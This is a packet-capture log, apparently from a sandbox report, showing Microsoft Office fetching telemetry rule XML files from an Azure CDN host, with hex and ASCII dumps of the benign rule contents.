2024-11-23 20:12:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201239Z-178bfbc474bp8mkvhC1NYCzqnn00000004q000000000khy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:39 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201239Z-174c587ffdf8fcgwhC1TEBnn7000000003e000000000ur49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:39 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201239Z-178bfbc474b9xljthC1NYCtw9400000004v000000000cuzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:41 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201241Z-15b8b599d88hr8sfhC1TEBbca400000003ag000000007z0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:41 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201241Z-15b8b599d88cn5thhC1TEBqxkn000000038000000000ed4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:41 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:41 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201241Z-174c587ffdf4zw2thC1TEBu34000000003k00000000043eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201241Z-174c587ffdfmrvb9hC1TEBtn3800000003b000000000mfc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:42 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201241Z-178bfbc474bfw4gbhC1NYCunf400000005200000000002xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201243Z-178bfbc474bxkclvhC1NYC69g400000004ug00000000dx3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:44 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:43 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:43 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201243Z-178bfbc474btrnf9hC1NYCb80g000000051000000000g29b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:44 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:43 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:44 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201244Z-15b8b599d882hxlwhC1TEBfa5w000000038000000000eu8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:44 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:43 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:44 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: dc5ae1d1-201e-0096-3d45-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201244Z-178bfbc474bwh9gmhC1NYCy3rs0000000530000000003vb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:44 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
